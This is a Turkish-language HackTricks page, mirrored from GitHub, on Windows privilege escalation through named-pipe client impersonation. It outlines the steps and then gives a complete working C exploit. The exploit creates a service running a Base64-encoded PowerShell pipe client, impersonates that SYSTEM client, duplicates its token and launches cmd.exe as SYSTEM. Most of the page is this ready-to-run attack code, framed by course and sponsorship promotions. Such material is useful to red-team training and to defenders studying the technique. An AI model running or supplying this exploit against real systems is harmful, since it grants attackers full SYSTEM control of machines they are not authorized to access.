mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
146 lines
5.7 KiB
Markdown
146 lines
5.7 KiB
Markdown
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
|
||
**Kod akışı:**
|
||
|
||
1. Yeni bir Pipe oluşturun
|
||
2. Oluşturulan pipe'a bağlanacak ve bir şey yazacak bir hizmet oluşturun ve başlatın. Hizmet kodu bu kodu çalıştıracak: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();`
|
||
3. Hizmet, pipe'da istemciden verileri alır, ImpersonateNamedPipeClient'i çağırır ve hizmetin bitmesini bekler
|
||
4. Son olarak, hizmetten elde edilen token'ı kullanarak yeni bir _cmd.exe_ başlatır
|
||
|
||
{% hint style="warning" %}
|
||
Yeterli ayrıcalığınız yoksa, exploit takılabilir ve asla geri dönmeyebilir.
|
||
{% endhint %}
|
||
```c
|
||
#include <windows.h>
|
||
#include <time.h>
|
||
|
||
#pragma comment (lib, "advapi32")
|
||
#pragma comment (lib, "kernel32")
|
||
|
||
#define PIPESRV "PiperSrv"
|
||
#define MESSAGE_SIZE 512
|
||
|
||
int ServiceGo(void) {
|
||
|
||
SC_HANDLE scManager;
|
||
SC_HANDLE scService;
|
||
|
||
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
|
||
|
||
if (scManager == NULL) {
|
||
return FALSE;
|
||
}
|
||
|
||
// create Piper service
|
||
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
||
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
|
||
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
|
||
NULL, NULL, NULL, NULL, NULL);
|
||
|
||
if (scService == NULL) {
|
||
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
|
||
return FALSE;
|
||
}
|
||
|
||
// launch it
|
||
StartService(scService, 0, NULL);
|
||
|
||
// wait a bit and then cleanup
|
||
Sleep(10000);
|
||
DeleteService(scService);
|
||
|
||
CloseServiceHandle(scService);
|
||
CloseServiceHandle(scManager);
|
||
}
|
||
|
||
int main() {
|
||
|
||
LPCSTR sPipeName = "\\\\.\\pipe\\piper";
|
||
HANDLE hSrvPipe;
|
||
HANDLE th;
|
||
BOOL bPipeConn;
|
||
char pPipeBuf[MESSAGE_SIZE];
|
||
DWORD dBRead = 0;
|
||
|
||
HANDLE hImpToken;
|
||
HANDLE hNewToken;
|
||
STARTUPINFOA si;
|
||
PROCESS_INFORMATION pi;
|
||
|
||
// open pipe
|
||
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
|
||
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
|
||
|
||
// create and run service
|
||
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
|
||
|
||
// wait for the connection from the service
|
||
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
|
||
if (bPipeConn) {
|
||
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
|
||
|
||
// impersonate the service (SYSTEM)
|
||
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
|
||
return -1;
|
||
}
|
||
|
||
// wait for the service to cleanup
|
||
WaitForSingleObject(th, INFINITE);
|
||
|
||
// get a handle to impersonated token
|
||
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
|
||
return -2;
|
||
}
|
||
|
||
// create new primary token for new process
|
||
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
|
||
TokenPrimary, &hNewToken)) {
|
||
return -4;
|
||
}
|
||
|
||
//Sleep(20000);
|
||
// spawn cmd.exe as full SYSTEM user
|
||
ZeroMemory(&si, sizeof(si));
|
||
si.cb = sizeof(si);
|
||
ZeroMemory(&pi, sizeof(pi));
|
||
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
|
||
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
|
||
return -5;
|
||
}
|
||
|
||
// revert back to original security context
|
||
RevertToSelf();
|
||
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|